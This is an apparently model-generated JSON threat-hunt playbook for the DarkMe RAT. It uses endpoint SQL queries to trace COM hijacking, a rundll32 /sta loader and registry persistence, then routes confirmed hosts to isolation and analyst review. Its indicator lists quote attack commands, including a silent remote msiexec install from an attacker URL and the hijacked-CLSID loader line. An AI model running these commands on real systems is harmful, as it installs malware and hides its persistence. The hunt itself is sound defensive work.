{ "hunt": { "meta": { "tlp": "clear", "hunt": { "handoff": "promote-to-detection", "trigger": "intel-report", "methodology": "model-assisted", "applicability": "campaign-specific", "justification": "DarkMe is an APT-linked infostealer that uses non-standard execution paths like rundll32 /sta to bypass EDR; a negative result over the estate ensures this stealthy persistence is not active." }, "name": "DarkMe RAT: COM Hijacking and Application Profiling", "type": "investigation", "labels": [ "hunt", "attack.t1059.005", "attack.t1546.015", "attack.t1218.011", "attack.t1555", "attack.t1547.001" ], "series": { "slug": "darkme-rat-a-vb6-apt-trojan-turned-conventional-infostealer", "index": 2, "title": "DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer", "total": 2 }, "related": [ { "hunt": "darkme-initial-delivery-pif-msi", "reason": "This hunt focuses on the loader and post-exploitation profiling, while the sibling hunt focuses on the initial phishing delivery.", "relation": "out-of-scope-alternative" } ], "targets": { "hunter": { "name": "Hunt agent", "agent": true }, "analyst": { "name": "Tier-2 analyst", "role": "analyst" }, "endpoint": { "name": "Endpoint telemetry (hb_ surfaces)", "category": "endpoint", "telemetry": [ "endpoint" ] } }, "analysis": "This is a hunt because it pivots between four distinct surfaces\u2014script activity, registry keys, process command lines, and binary prevalence\u2014to reconstruct a chain that evades single-surface detection rules.", "coverage": [ { "stage": "scripted-com-hijacking", "steps": [ "scripted-registration" ], "status": "covered" }, { "stage": "rundll32-com-loader", "steps": [ "rundll32-sta-loader" ], "status": "covered" }, { "stage": "application-discovery-gate", "steps": [ "rare-componentsfolder-binaries" ], "status": "covered" }, { "stage": "registry-run-persistence", "steps": [ "persistence-mechanisms" ], "status": "covered" }, { "stage": "phishing-pif-delivery", "reason": "Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.", "status": "out_of_scope" }, { "stage": "remote-msi-execution", "reason": "Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.", "status": "out_of_scope" }, { "stage": "cabinet-file-staging", "reason": "Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.", "status": "out_of_scope" } ], "scenario": { "stages": [ { "name": "Social Engineering PIF Delivery", "slug": "phishing-pif-delivery", "tactic": "initial-access", "techniques": [ "T1566" ], "observables": [ "https://readonline365.com/view/image.png", "image.pif" ] }, { "name": "Remote MSI Proxy Execution", "slug": "remote-msi-execution", "tactic": "execution", "techniques": [ "T1218" ], "observables": [ "msiexec /i https://onlineview365.com/propi.msi /quiet /norestart", "propi.msi", "exemsi version 11.0.53.0" ] }, { "name": "Cabinet File Extraction", "slug": "cabinet-file-staging", "tactic": "execution", "techniques": [ "T1059" ], "observables": [ "EXPAND.EXE -R files.cab", "%AppData%\\ComponentsFolder\\", "files.cab" ] }, { "name": "Scripted COM Object Registration", "slug": "scripted-com-hijacking", "tactic": "persistence", "techniques": [ "T1059.005", "T1546.015" ], "observables": [ "prnfig.wsf", "wScript.exe", "reg.exe import filetext2.txt", "HKCU\\Software\\Classes\\CLSID\\{CFDC57BA-1705-45AF-BA10-EFC3D592982B}", "ProgID Coconout.Primary" ] }, { "name": "Rundll32 COM Entry Loader", "slug": "rundll32-com-loader", "tactic": "stealth", "techniques": [ "T1218.011" ], "observables": [ "rundll32.exe /sta {CFDC57BA-1705-45AF-BA10-EFC3D592982B}", "Coconout.dll", "Use.dll", "Finalized.dll" ] }, { "name": "Broad Application Discovery Gate", "slug": "application-discovery-gate", "tactic": "credential-access", "techniques": [ "T1555" ], "observables": [ "metamask.exe", "keepass.exe", "pokerstars.exe", "mullvad-deamon.exe", "razersynapse.exe" ] }, { "name": "Registry Run-Key Persistence", "slug": "registry-run-persistence", "tactic": "persistence", "techniques": [ "T1547.001" ], "observables": [ "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "HKCU\\Software\\Classes\\Locked\\shell\\open\\command", "%TEMP%\\Zeta_Component.log" ] } ], "summary": "Water Hydra (EvilNum) has transitioned from zero-day exploits to social engineering campaigns, delivering the DarkMe RAT via a spoofed .pif executable. The intrusion leverages a remote-hosted MSI installer to stage a multi-layered VB6 loader that utilizes COM hijacking and a massive application-discovery gate before establishing persistence via the Windows Registry." }, "severity": "high", "rationale": "Initial scoping focuses on hosts with the specific exemsi wrapper version; broaden the hunt to all workstations if the first stage finds no hits, as the wrapper may have been updated.", "guardrails": { "claims": "no_unsupported", "evidence": "citation_required", "telemetry": "untrusted", "missing_data": "not_benign" }, "hypothesis": "An intruder has established persistence and stealthy execution by hijacking a COM object via script and launching it with Rundll32's /sta flag, followed by a broad profiling of local financial and security applications.", "parameters": { "scope_hosts": { "type": "list[string]", "default": [], "description": "Optional: List of hostnames to restrict behavior queries; if empty, the entire estate is checked." }, "target_clsid": { "from": { "ref": "huntress", "kind": "article", "observed": "2024-09-22" }, "type": "string", "default": "{CFDC57BA-1705-45AF-BA10-EFC3D592982B}", "description": "The CLSID used by DarkMe for COM hijacking." }, "lookback_days": { "type": "number", "default": "14", "description": "Days of history to examine." } }, "provenance": { "authors": [ { "org": "huntbase.io", "name": "Huntbase hunt generation" } ], "generated": { "by": "huntbase-hunt-generation", "from": "https://www.huntress.com/blog/darkme-rat-abandons-exploits", "gates": [ "dry-run", "lint", "critic" ], "model": "hb_google/gemini-3-flash-preview" } }, "references": [ { "url": "https://www.huntress.com/blog/darkme-rat-abandons-exploits", "name": "Huntress \u2014 DarkMe RAT Abandons Exploits" } ], "blind_spots": [ { "id": "incomplete-telemetry", "risk": "If script block logging is not enabled, the primary evidence for the registration stage is lost, leaving only the process execution.", "question": "Whether the script execution was missed on hosts with legacy logging.", "requires": "full hb_script_activity and hb_registry_activity coverage" }, { "id": "encrypted-profiling-logic", "risk": "The list of 329 targeted applications is hex-encoded inside the VB6 DLL; we can detect the logic's side effects (the log) but not the profiling itself in telemetry.", "stage": "application-discovery-gate", "question": "Which specific applications were targeted on this host?", "requires": "binary analysis" } ] }, "name": "DarkMe RAT: COM Hijacking and Application Profiling", "description": "This hunt identifies the sophisticated multi-stage VB6 loader mechanics used by DarkMe (Water Hydra). It follows the chain from scripted COM registration to the use of the obscure rundll32 /sta command line to bypass traditional detection. The hunt then pivots to find evidence of the second stage, which profiles over 300 target applications\u2014including crypto wallets, trading platforms, and VPN clients\u2014and establishes persistence through custom protocol handlers. By stack-counting rare binaries in user-writable components folders, we find the core malware modules that evade standard file-based alerts." }, "nodes": [ { "id": "hypothesis", "type": "hypothesis", "label": "Hypothesis", "config": { "tags": [], "series": { "slug": "darkme-rat-a-vb6-apt-trojan-turned-conventional-infostealer", "index": 2, "title": "DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer", "total": 2 }, "coverage": [ { "stage": "scripted-com-hijacking", "steps": [ "scripted-registration" ], "status": "covered" }, { "stage": "rundll32-com-loader", "steps": [ "rundll32-sta-loader" ], "status": "covered" }, { "stage": "application-discovery-gate", "steps": [ "rare-componentsfolder-binaries" ], "status": "covered" }, { "stage": "registry-run-persistence", "steps": [ "persistence-mechanisms" ], "status": "covered" }, { "stage": "phishing-pif-delivery", "reason": "Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.", "status": "out_of_scope" }, { "stage": "remote-msi-execution", "reason": "Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.", "status": "out_of_scope" }, { "stage": "cabinet-file-staging", "reason": "Belongs to another part of the 'DarkMe RAT: A VB6 APT Trojan Turned Conventional Infostealer' series.", "status": "out_of_scope" } ], "rationale": "An intruder has established persistence and stealthy execution by hijacking a COM object via script and launching it with Rundll32's /sta flag, followed by a broad profiling of local financial and security applications.", "blind_spots": [ { "id": "incomplete-telemetry", "risk": "If script block logging is not enabled, the primary evidence for the registration stage is lost, leaving only the process execution.", "question": "Whether the script execution was missed on hosts with legacy logging.", "requires": "full hb_script_activity and hb_registry_activity coverage" }, { "id": "encrypted-profiling-logic", "risk": "The list of 329 targeted applications is hex-encoded inside the VB6 DLL; we can detect the logic's side effects (the log) but not the profiling itself in telemetry.", "stage": "application-discovery-gate", "question": "Which specific applications were targeted on this host?", "requires": "binary analysis" } ], "scoping_notes": "Initial scoping focuses on hosts with the specific exemsi wrapper version; broaden the hunt to all workstations if the first stage finds no hits, as the wrapper may have been updated.", "beyond_detection": "This is a hunt because it pivots between four distinct surfaces\u2014script activity, registry keys, process command lines, and binary prevalence\u2014to reconstruct a chain that evades single-surface detection rules." } }, { "id": "scope-msi-wrapper", "type": "query", "label": "Scope by MSI Wrapper version", "config": { "dsl": "sqlite", "role": "scoping", "source": "endpoint", "content": "SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE package_version = '11.0.53.0' AND LOWER(vendor_name) LIKE '%exemsi%'", "surface": "hb_software_inventory", "description": "Find hosts that have software installed using the specific exemsi MSI Wrapper (v11.0.53.0) observed in DarkMe campaigns.", "expected_signal": "A list of hosts that installed software via the specific wrapper version. This narrows the hunt to the most likely beachheads." }, "parents": [ { "id": "hypothesis" } ], "primitive_config": { "dsl": "sqlite", "role": "scoping", "label": "Scope by MSI Wrapper version", "reads": [ "device_hostname", "package_name", "package_version", "vendor_name" ], "source": "hb_software_inventory", "target": "endpoint", "content": "SELECT device_hostname, package_name, package_version, vendor_name FROM hb_software_inventory WHERE package_version = '11.0.53.0' AND LOWER(vendor_name) LIKE '%exemsi%'", "silence": "not_evidence_of_absence", "expected": "A list of hosts that installed software via the specific wrapper version. This narrows the hunt to the most likely beachheads.", "verified": "dry-run", "verified_at": "2026-09-23" } }, { "id": "scripted-registration", "type": "query", "label": "Scripted COM Registration", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, script_path, script_content, time FROM hb_script_activity WHERE (instr(LOWER(script_content), LOWER('{{target_clsid}}')) > 0 OR LOWER(script_content) LIKE '%coconout.primary%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_script_activity", "description": "Find the execution of Windows Script Host (.wsf) that imports registry keys to hijack a COM object.", "expected_signal": "A script block containing the target CLSID and references to registry imports. This confirms the persistence mechanism was staged." }, "parents": [ { "id": "scope-msi-wrapper" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Scripted COM Registration", "reads": [ "device_hostname", "script_path", "script_content", "time" ], "source": "hb_script_activity", "target": "endpoint", "content": "SELECT device_hostname, script_path, script_content, time FROM hb_script_activity WHERE (instr(LOWER(script_content), LOWER('{{target_clsid}}')) > 0 OR LOWER(script_content) LIKE '%coconout.primary%') AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A script block containing the target CLSID and references to registry imports. This confirms the persistence mechanism was staged.", "verified": "dry-run", "verified_at": "2026-09-23" } }, { "id": "rundll32-sta-loader", "type": "query", "label": "Rundll32 STA loader execution", "config": { "dsl": "sqlite", "role": "detection-candidate", "source": "endpoint", "content": "SELECT device_hostname, process_cmd_line, user_name, time FROM hb_process_activity WHERE LOWER(process_cmd_line) LIKE '%/sta%' AND instr(LOWER(process_cmd_line), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_process_activity", "description": "Identify the use of rundll32.exe with the /sta flag to load the hijacked COM server, a signature evasion technique.", "expected_signal": "A rundll32 process command line containing /sta and the hijacked CLSID. This is the primary indicator of execution." }, "parents": [ { "id": "scope-msi-wrapper" } ], "primitive_config": { "dsl": "sqlite", "role": "detection-candidate", "label": "Rundll32 STA loader execution", "reads": [ "device_hostname", "process_cmd_line", "user_name", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT device_hostname, process_cmd_line, user_name, time FROM hb_process_activity WHERE LOWER(process_cmd_line) LIKE '%/sta%' AND instr(LOWER(process_cmd_line), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "A rundll32 process command line containing /sta and the hijacked CLSID. This is the primary indicator of execution.", "verified": "dry-run", "verified_at": "2026-09-23" } }, { "id": "early-triage", "type": "analytic", "label": "Early stage triage", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "scripted-registration", "rundll32-sta-loader" ], "objective": "Confirm the presence of DarkMe loader stages 1 and 2 on the identified hosts.", "description": "Assess whether the script and loader evidence together confirm an active COM hijacking on any host.", "max_iterations": 4, "expected_signal": "A verdict identifying specific hosts that show the DarkMe loader chain.", "success_criteria": "A per-host verdict of malicious, suspicious, or benign with cited process and script rows." }, "parents": [ { "id": "scripted-registration", "kind": "merge" }, { "id": "rundll32-sta-loader", "kind": "merge" } ] }, { "id": "persistence-mechanisms", "type": "query", "label": "Persistence via Run and Locked protocol", "config": { "dsl": "sqlite", "role": "enrichment", "source": "endpoint", "content": "SELECT device_hostname, reg_target, reg_value_data, time FROM hb_registry_activity WHERE (LOWER(reg_target) LIKE '%\\currentversion\\run%' OR LOWER(reg_target) LIKE '%\\classes\\locked\\shell\\open\\command%') AND instr(LOWER(reg_value_data), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "surface": "hb_registry_activity", "description": "Find the secondary persistence mechanisms: standard Run keys and the unusual Locked protocol registration.", "expected_signal": "Registry entries pointing to the rundll32 /sta command line, particularly under the 'Locked' protocol handler." }, "parents": [ { "id": "early-triage" } ], "primitive_config": { "dsl": "sqlite", "role": "enrichment", "label": "Persistence via Run and Locked protocol", "reads": [ "device_hostname", "reg_target", "reg_value_data", "time" ], "source": "hb_registry_activity", "target": "endpoint", "content": "SELECT device_hostname, reg_target, reg_value_data, time FROM hb_registry_activity WHERE (LOWER(reg_target) LIKE '%\\currentversion\\run%' OR LOWER(reg_target) LIKE '%\\classes\\locked\\shell\\open\\command%') AND instr(LOWER(reg_value_data), LOWER('{{target_clsid}}')) > 0 AND ('{{scope_hosts}}' = '' OR instr(',' || '{{scope_hosts}}' || ',', ',' || device_hostname || ',') > 0) AND time >= datetime('now', '-{{lookback_days}} days')", "silence": "not_evidence_of_absence", "expected": "Registry entries pointing to the rundll32 /sta command line, particularly under the 'Locked' protocol handler.", "verified": "dry-run", "verified_at": "2026-09-23" } }, { "id": "rare-componentsfolder-binaries", "type": "query", "label": "Rare binaries in ComponentsFolder", "config": { "dsl": "sqlite", "role": "baseline", "source": "endpoint", "content": "SELECT LOWER(process_path) AS path, COUNT(DISTINCT device_hostname) AS host_count, COUNT(*) AS launch_count, MIN(time) AS first_seen FROM hb_process_activity WHERE LOWER(process_path) LIKE '%\\appdata\\componentsfolder\\%' AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY path HAVING host_count <= 2 ORDER BY host_count ASC", "surface": "hb_process_activity", "description": "Stack-count processes running from the AppData ComponentsFolder to identify the rare DarkMe modules across the fleet.", "expected_signal": "A list of binaries present on only one or two hosts. Genuine software rarely installs into a folder with this specific name." }, "parents": [ { "id": "early-triage" } ], "primitive_config": { "dsl": "sqlite", "role": "baseline", "label": "Rare binaries in ComponentsFolder", "reads": [ "process_path", "device_hostname", "time" ], "source": "hb_process_activity", "target": "endpoint", "content": "SELECT LOWER(process_path) AS path, COUNT(DISTINCT device_hostname) AS host_count, COUNT(*) AS launch_count, MIN(time) AS first_seen FROM hb_process_activity WHERE LOWER(process_path) LIKE '%\\appdata\\componentsfolder\\%' AND time >= datetime('now', '-{{lookback_days}} days') GROUP BY path HAVING host_count <= 2 ORDER BY host_count ASC", "silence": "not_evidence_of_absence", "baseline": { "window": "{{lookback_days}}d", "compare": "first_seen" }, "expected": "A list of binaries present on only one or two hosts. Genuine software rarely installs into a folder with this specific name.", "verified": "dry-run", "prevalence": { "by": "device_hostname", "key": [ "path" ], "rare_below": 3 }, "verified_at": "2026-09-23" } }, { "id": "late-triage", "type": "analytic", "label": "Final stage triage", "config": { "cite": "required", "tools": [ "endpoint" ], "context": [ "early-triage", "persistence-mechanisms", "rare-componentsfolder-binaries" ], "objective": "Identify hosts where DarkMe has successfully established persistence and is likely profiling local applications.", "description": "Consolidate the early-stage loader evidence with the follow-on persistence and prevalence results to provide a comprehensive verdict.", "max_iterations": 4, "expected_signal": "A confirmed malicious verdict for hosts showing the full attack chain.", "success_criteria": "A consolidated verdict citing the loader execution, the persistence keys, and the rare binaries." }, "parents": [ { "id": "persistence-mechanisms", "kind": "merge" }, { "id": "rare-componentsfolder-binaries", "kind": "merge" } ] }, { "id": "route", "type": "checkpoint", "label": "Route on verdict", "config": { "fuzzy": true, "judge": "hunter", "question": "the late-triage verdict is malicious for at least one host", "condition": "the late-triage verdict is malicious for at least one host", "blind_spot": "incomplete-telemetry", "confidence": "high", "description": "Determine the next steps based on the agent's consolidated findings.", "checkpoint_type": "mandatory" }, "parents": [ { "id": "late-triage" } ] }, { "id": "isolate-host", "type": "action", "label": "Isolate host", "config": { "target": "endpoint", "description": "Contain the infection by isolating the confirmed compromised host from the network.", "instructions": "Isolate the host and preserve the %AppData%\\ComponentsFolder\\ and %AppData%\\Microsoft\\ folders for forensic collection.", "action_approval": "required" }, "parents": [ { "id": "route", "branch": "on_supports" } ] }, { "id": "analyst-review", "type": "task", "label": "Analyst review", "config": { "assignee": "analyst", "description": "Review the findings for suspicious or indeterminate cases and investigate the Zeta_Component.log.", "instructions": "Check the %TEMP%\\Zeta_Component.log for debug output. Review the rare binaries identified in the prevalence step and confirm if they correspond to the DarkMe VB6 loaders (Coconout.dll, Use.dll, Finalized.dll)." }, "parents": [ { "id": "route", "branch": "default" }, { "id": "route", "branch": "on_unavailable" }, { "id": "isolate-host" } ] }, { "id": "close-out", "type": "task", "label": "Close out", "config": { "assignee": "analyst", "description": "Document the hunt results and consider promoting the rundll32 /sta query to a detection rule.", "instructions": "Record the affected hosts and users. If the rundll32 /sta execution was high-confidence, promote the associated query to a permanent detection rule." }, "parents": [ { "id": "route", "branch": "on_refutes" }, { "id": "analyst-review" } ] } ] }